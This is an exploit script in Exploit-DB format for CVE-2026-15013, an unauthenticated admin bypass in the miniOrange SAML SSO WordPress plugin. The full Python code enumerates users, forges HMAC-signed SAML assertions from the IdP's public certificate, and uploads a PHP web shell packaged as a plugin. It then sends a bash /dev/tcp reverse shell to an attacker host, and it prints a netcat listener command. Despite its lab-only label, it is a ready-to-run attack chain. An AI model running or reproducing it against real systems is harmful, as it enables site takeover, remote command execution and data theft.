# Exploit Title: miniOrange  5.4.3 - Unauthenticated Auth Bypass
# Google Dork: inurl:/wp-content/plugins/miniorange-saml-20-single-sign-on/
# Date: 2026-07-27
# Exploit Author: zer0dayf
# Vendor Homepage: https://plugins.wordpress.org/miniorange-saml-20-single-sign-on/
# Software Link: https://downloads.wordpress.org/plugin/miniorange-saml-20-single-sign-on.5.4.3.zip
# Version: <= 5.4.3
# Tested on: WordPress 7.x + miniOrange SAML SSO 5.4.3
# CVE : CVE-2026-15013
"""
CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3
HMAC signature algorithm confusion
Lab / authorized testing only.

Flow: detect → enum users → fetch IdP cert → HMAC SAML → admin → shell → optional reverse
"""
from __future__ import annotations

import argparse
import base64
import hashlib
import hmac
import io
import os
import re
import subprocess
import sys
import tempfile
import uuid
import zipfile
from datetime import datetime, timedelta, timezone
from pathlib import Path
from urllib.parse import urlparse

import requests
from lxml import etree

requests.packages.urllib3.disable_warnings()

NS_SAMLP = "urn:oasis:names:tc:SAML:2.0:protocol"
NS_SAML = "urn:oasis:names:tc:SAML:2.0:assertion"
NS_DS = "http://www.w3.org/2000/09/xmldsig#"
C14N = "http://www.w3.org/2001/10/xml-exc-c14n#"
ENVSIG = "http://www.w3.org/2000/09/xmldsig#enveloped-signature"
HMAC_URI = "http://www.w3.org/2000/09/xmldsig#hmac-sha1"
SHA1_URI = "http://www.w3.org/2000/09/xmldsig#sha1"
PLUGIN_PATH = "/wp-content/plugins/miniorange-saml-20-single-sign-on/"
VULN_MAX = (5, 4, 3)

SHELL_PHP = r"""<?php
/**
 * Plugin Name: exp
 * Version: 1.0
 */
if (!isset($_GET["c"])) {
    header("Content-Type: text/plain");
    echo "exp cmd shell\nUsage: ?c=id\n";
    exit;
}
$c = $_GET["c"];
header("Content-Type: text/plain; charset=utf-8");
echo ">>> " . $c . "\n\n";
if (function_exists("shell_exec")) {
    echo shell_exec($c . " 2>&1");
} else {
    echo "no shell_exec\n";
}
"""


def norm(url: str) -> str:
    url = url.strip().rstrip("/")
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url


def ver_tuple(s: str):
    try:
        return tuple(int(x) for x in s.split(".")[:3])
    except Exception:
        return (0, 0, 0)


def now_iso(m=0):
    return (datetime.now(timezone.utc) + timedelta(minutes=m)).strftime("%Y-%m-%dT%H:%M:%SZ")


def session():
    s = requests.Session()
    s.verify = False
    s.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    return s


def is_wp(s, base):
    for p in ("/wp-login.php", "/wp-json/", "/wp-includes/js/jquery/jquery.min.js"):
        try:
            if s.get(base + p, timeout=10).status_code == 200:
                return True
        except Exception:
            pass
    return False


def detect_plugin(s, base):
    try:
        r = s.get(base + PLUGIN_PATH + "readme.txt", timeout=10)
        if r.status_code == 200:
            m = re.search(r"Stable tag:\s*(\S+)", r.text)
            if m:
                return m.group(1)
    except Exception:
        pass
    return None


def discover_sp(s, base):
    acs, eid, issuer = base + "/", base + PLUGIN_PATH, ""
    try:
        r = s.get(base + "/?option=mosaml_metadata", timeout=12)
        if r.status_code == 200 and "EntityDescriptor" in r.text:
            m = re.search(r'entityID="([^"]+)"', r.text)
            if m:
                eid = m.group(1)
            m = re.search(r'Location="([^"]+)"', r.text)
            if m:
                acs = m.group(1)
    except Exception:
        pass
    try:
        r = s.get(base + "/?option=saml_user_login", timeout=12, allow_redirects=False)
        if r.status_code in (301, 302, 303, 307):
            loc = r.headers.get("Location", "")
            pu = urlparse(loc)
            if pu.scheme and pu.netloc:
                issuer = f"{pu.scheme}://{pu.netloc}"
                parts = [x for x in pu.path.split("/") if x]
                if "realms" in parts:
                    i = parts.index("realms")
                    if i + 1 < len(parts):
                        issuer = f"{pu.scheme}://{pu.netloc}/realms/{parts[i + 1]}"
    except Exception:
        pass
    return acs, eid, issuer


def enum_users(s, base):
    found, seen = [], set()

    def add(u):
        if not u:
            return
        u = str(u).strip().split("/")[-1]
        if not u or u in seen:
            return
        if not re.match(r"^[\w.@+-]{1,60}$", u):
            return
        seen.add(u)
        found.append(u)

    for ep in (f"{base}/wp-json/wp/v2/users", f"{base}/?rest_route=/wp/v2/users"):
        try:
            r = s.get(ep, params={"per_page": 100}, timeout=12)
            if r.status_code == 200 and isinstance(r.json(), list):
                for u in r.json():
                    add(u.get("slug"))
                    add(u.get("name"))
                    add(u.get("username"))
        except Exception:
            pass

    for uid in range(1, 30):
        for ep in (
            f"{base}/wp-json/wp/v2/users/{uid}",
            f"{base}/?rest_route=/wp/v2/users/{uid}",
        ):
            try:
                r = s.get(ep, timeout=8)
                if r.status_code == 200:
                    j = r.json()
                    add(j.get("slug"))
                    add(j.get("name"))
                    add(j.get("username"))
                    break
            except Exception:
                continue

    for q in list("abcdefghijklmnopqrstuvwxyz0123456789") + ["admin", "user", "test"]:
        try:
            r = s.get(
                f"{base}/wp-json/wp/v2/users",
                params={"search": q, "per_page": 100},
                timeout=8,
            )
            if r.status_code == 200 and isinstance(r.json(), list):
                for u in r.json():
                    add(u.get("slug"))
                    add(u.get("name"))
        except Exception:
            pass

    for uid in range(1, 40):
        try:
            r = s.get(f"{base}/?author={uid}", timeout=8, allow_redirects=False)
            m = re.search(r"/author/([^/?&#]+)", r.headers.get("Location", ""))
            if m:
                add(m.group(1))
            r2 = s.get(f"{base}/?author={uid}", timeout=8, allow_redirects=True)
            if r2.status_code == 200:
                for m in re.finditer(r"/author/([a-zA-Z0-9._-]+)", r2.text[:12000]):
                    add(m.group(1))
                for m in re.finditer(r"author-([a-zA-Z0-9_-]+)", r2.text[:12000]):
                    add(m.group(1))
        except Exception:
            pass

    for path in ("/", "/feed/", "/comments/feed/"):
        try:
            r = s.get(base + path, timeout=10)
            if r.status_code == 200:
                for m in re.finditer(r"/author/([a-zA-Z0-9._-]+)", r.text[:40000]):
                    add(m.group(1))
        except Exception:
            pass

    for c in ("admin", "administrator", "root", "webmaster"):
        add(c)

    common = {"admin", "administrator", "root", "webmaster"}
    prio = [u for u in found if u.lower() in common]
    rest = [u for u in found if u.lower() not in common]
    out, seen2 = [], set()
    for u in prio + rest:
        if u not in seen2:
            seen2.add(u)
            out.append(u)
    return out


def cert_b64_to_pubkey_pem(cert_b64: str) -> bytes:
    cert_b64 = re.sub(r"\s+", "", cert_b64)
    pem = "-----BEGIN CERTIFICATE-----\n"
    for i in range(0, len(cert_b64), 64):
        pem += cert_b64[i : i + 64] + "\n"
    pem += "-----END CERTIFICATE-----\n"
    fd, crt = tempfile.mkstemp(suffix=".crt")
    os.close(fd)
    try:
        with open(crt, "w") as f:
            f.write(pem)
        out = subprocess.check_output(
            ["openssl", "x509", "-in", crt, "-pubkey", "-noout"],
            stderr=subprocess.DEVNULL,
        )
    finally:
        try:
            os.unlink(crt)
        except Exception:
            pass
    if b"BEGIN PUBLIC KEY" not in out:
        raise RuntimeError("openssl pubkey failed")
    return out


def fetch_hmac_key_from_idp(s, issuer: str) -> bytes:
    issuer = issuer.rstrip("/")
    urls = [
        issuer + "/protocol/saml/descriptor",
        issuer + "/descriptor",
    ]
    last = None
    for url in urls:
        try:
            r = s.get(url, timeout=12)
            if r.status_code != 200:
                continue
            certs = re.findall(
                r"<[^>]*X509Certificate[^>]*>([^<]+)</[^>]*X509Certificate>",
                r.text,
                flags=re.I,
            )
            if not certs:
                continue
            return cert_b64_to_pubkey_pem(certs[0])
        except Exception as e:
            last = e
    raise RuntimeError(f"IdP metadata cert not found ({last})")


def resolve_hmac_key(s, issuer: str, key_path: str) -> bytes:
    if key_path:
        p = Path(key_path)
        if p.is_file() and p.stat().st_size > 0:
            data = p.read_bytes()
            if b"BEGIN PUBLIC KEY" in data or b"BEGIN RSA PUBLIC KEY" in data:
                print(f"    from file {key_path}")
                return data
            if b"BEGIN CERTIFICATE" in data:
                print(f"    from cert file {key_path}")
                lines = [
                    ln.strip()
                    for ln in data.decode(errors="ignore").splitlines()
                    if "BEGIN" not in ln and "END" not in ln
                ]
                return cert_b64_to_pubkey_pem("".join(lines))
    print(f"    from IdP metadata {issuer}")
    key = fetch_hmac_key_from_idp(s, issuer)
    try:
        Path("/tmp/php-pub.pem").write_bytes(key)
        print("    cached /tmp/php-pub.pem")
    except Exception:
        pass
    return key


def forge_saml(issuer, acs, sp_entity, nameid, hmac_key: bytes) -> str:
    assert_id = "_" + uuid.uuid4().hex
    resp_id = "_" + uuid.uuid4().hex
    inst, nb, na = now_iso(), now_iso(-5), now_iso(60)
    S = NS_SAML
    a = etree.Element(f"{{{S}}}Assertion", nsmap={"saml": S})
    a.set("ID", assert_id)
    a.set("IssueInstant", inst)
    a.set("Version", "2.0")
    etree.SubElement(a, f"{{{S}}}Issuer").text = issuer
    subj = etree.SubElement(a, f"{{{S}}}Subject")
    nid = etree.SubElement(subj, f"{{{S}}}NameID")
    nid.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
    nid.text = nameid
    sc = etree.SubElement(subj, f"{{{S}}}SubjectConfirmation")
    sc.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
    scd = etree.SubElement(sc, f"{{{S}}}SubjectConfirmationData")
    scd.set("NotOnOrAfter", na)
    scd.set("Recipient", acs)
    cond = etree.SubElement(a, f"{{{S}}}Conditions")
    cond.set("NotBefore", nb)
    cond.set("NotOnOrAfter", na)
    ar = etree.SubElement(cond, f"{{{S}}}AudienceRestriction")
    etree.SubElement(ar, f"{{{S}}}Audience").text = sp_entity
    ast = etree.SubElement(a, f"{{{S}}}AuthnStatement")
    ast.set("AuthnInstant", inst)
    ast.set("SessionIndex", assert_id)
    actx = etree.SubElement(ast, f"{{{S}}}AuthnContext")
    etree.SubElement(actx, f"{{{S}}}AuthnContextClassRef").text = (
        "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
    )
    dig = base64.b64encode(
        hashlib.sha1(etree.tostring(a, method="c14n", exclusive=True)).digest()
    ).decode()
    D = NS_DS
    si = etree.Element(f"{{{D}}}SignedInfo", nsmap={"ds": D})
    etree.SubElement(si, f"{{{D}}}CanonicalizationMethod").set("Algorithm", C14N)
    etree.SubElement(si, f"{{{D}}}SignatureMethod").set("Algorithm", HMAC_URI)
    ref = etree.SubElement(si, f"{{{D}}}Reference")
    ref.set("URI", "#" + assert_id)
    tr = etree.SubElement(ref, f"{{{D}}}Transforms")
    etree.SubElement(tr, f"{{{D}}}Transform").set("Algorithm", ENVSIG)
    etree.SubElement(tr, f"{{{D}}}Transform").set("Algorithm", C14N)
    etree.SubElement(ref, f"{{{D}}}DigestMethod").set("Algorithm", SHA1_URI)
    etree.SubElement(ref, f"{{{D}}}DigestValue").text = dig
    sig_b64 = base64.b64encode(
        hmac.new(
            hmac_key, etree.tostring(si, method="c14n", exclusive=True), hashlib.sha1
        ).digest()
    ).decode()
    sig = etree.Element(f"{{{D}}}Signature", nsmap={"ds": D})
    sig.append(si)
    etree.SubElement(sig, f"{{{D}}}SignatureValue").text = sig_b64
    a_str = etree.tostring(a, encoding="unicode")
    pos = a_str.find("</saml:Issuer>") + len("</saml:Issuer>")
    body = a_str[:pos] + etree.tostring(sig, encoding="unicode") + a_str[pos:]
    P = NS_SAMLP
    resp = (
        f'<samlp:Response xmlns:samlp="{P}" xmlns:saml="{S}"'
        f' Destination="{acs}" ID="{resp_id}" IssueInstant="{inst}" Version="2.0">'
        f"<saml:Issuer>{issuer}</saml:Issuer>"
        f'<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>'
        f"{body}</samlp:Response>"
    )
    return base64.b64encode(resp.encode()).decode()


def try_login(base, acs, eid, issuer, nameid, hmac_key):
    s = session()
    b64 = forge_saml(issuer, acs, eid, nameid, hmac_key)
    s.post(
        acs,
        data={"SAMLResponse": b64, "RelayState": "/wp-admin/"},
        timeout=20,
        allow_redirects=True,
    )
    if not any("wordpress_logged_in" in c.name for c in s.cookies):
        return None, "no_cookie"
    r = s.get(
        base + "/wp-admin/plugin-install.php?tab=upload",
        timeout=15,
        allow_redirects=True,
    )
    if r.status_code == 200 and "wp-login" not in r.url and "_wpnonce" in r.text:
        return s, "admin"
    r2 = s.get(base + "/wp-admin/", timeout=12, allow_redirects=True)
    if r2.status_code == 200 and "wp-login" not in r2.url:
        return s, "user"
    return s, "cookie_only"


def mk_zip():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr("exp/shell.php", SHELL_PHP)
        z.writestr("exp/readme.txt", "=== exp ===\nStable tag: 1.0\n")
    return buf.getvalue()


def upload_shell(s, base):
    r = s.get(base + "/wp-admin/plugin-install.php?tab=upload", timeout=20)
    m = re.search(r'name="_wpnonce"\s+value="([^"]+)"', r.text)
    if not m:
        return None, "no_nonce"
    ur = s.post(
        base + "/wp-admin/update.php?action=upload-plugin",
        data={
            "_wpnonce": m.group(1),
            "_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload",
            "install-plugin-submit": "Install Now",
        },
        files={"pluginzip": ("exp.zip", mk_zip(), "application/zip")},
        timeout=30,
        allow_redirects=True,
    )
    shell = base + "/wp-content/plugins/exp/shell.php"
    c = s.get(shell, timeout=12)
    if c.status_code == 200 and ("exp" in c.text or "Usage" in c.text):
        return shell, "ok"
    return shell, f"upload={ur.status_code} shell={c.status_code}"


def reverse_shell(s, shell_url, lhost, lport):
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    try:
        s.get(shell_url, params={"c": cmd}, timeout=5)
    except requests.exceptions.ReadTimeout:
        pass
    return True


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-15013 lab PoC")
    ap.add_argument("-u", "--url", required=True, help="WordPress base URL (required)")
    ap.add_argument(
        "-k",
        "--hmac-key",
        default="",
        help="PEM pubkey/cert file; empty = fetch from IdP SAML metadata",
    )
    ap.add_argument("--issuer", default="")
    ap.add_argument("--acs", default="")
    ap.add_argument("--nameid", default="")
    ap.add_argument("--lhost", default="")
    ap.add_argument("--lport", type=int, default=4444)
    ap.add_argument("--no-shell", action="store_true")
    ap.add_argument("--no-reverse", action="store_true")
    args = ap.parse_args()

    base = norm(args.url)
    s = session()

    print(f"[1] WordPress @ {base}")
    if not is_wp(s, base):
        sys.exit("[-] not WordPress")
    print("    OK")

    print("[2] Plugin")
    ver = detect_plugin(s, base)
    if not ver:
        sys.exit("[-] miniOrange SAML not found")
    print(f"    version={ver}")
    if ver_tuple(ver) > VULN_MAX:
        sys.exit(f"[-] {ver} > 5.4.3 (HMAC path patched)")

    print("[3] SP / IdP")
    acs, eid, issuer = discover_sp(s, base)
    if args.acs:
        acs = args.acs
    if args.issuer:
        issuer = args.issuer
    if not issuer:
        sys.exit("[-] IdP issuer not found (SSO redirect). Pass --issuer https://idp/.../realms/xxx")
    print(f"    ACS={acs}")
    print(f"    Audience={eid}")
    print(f"    Issuer={issuer}")

    print("[3b] HMAC key")
    try:
        hmac_key = resolve_hmac_key(s, issuer, args.hmac_key)
    except Exception as e:
        sys.exit(f"[-] HMAC key: {e}")

    print("[4] Users")
    users = [args.nameid] if args.nameid else enum_users(s, base)
    print(f"    {users}")

    print("[5] HMAC SAML login")
    admin_sess = admin_user = None
    for nameid in users:
        sess, st = try_login(base, acs, eid, issuer, nameid, hmac_key)
        print(f"    {nameid} → {st}")
        if st == "admin":
            admin_sess, admin_user = sess, nameid
            break
    if not admin_sess:
        sys.exit("[-] no admin session (need install_plugins user)")

    print(f"[+] ADMIN as {admin_user}")

    if args.no_shell:
        return

    print("[6] Shell")
    shell, st = upload_shell(admin_sess, base)
    print(f"    {st} → {shell}")
    if st != "ok":
        sys.exit("[-] shell failed")
    print(admin_sess.get(shell, params={"c": "id"}, timeout=10).text)

    if args.no_reverse or not args.lhost:
        print("[*] reverse: nc -lvnp 4444 && re-run with --lhost IP")
        return

    print(f"[7] Reverse {args.lhost}:{args.lport}")
    reverse_shell(admin_sess, shell, args.lhost, args.lport)
    print("    payload sent")


if __name__ == "__main__":
    main()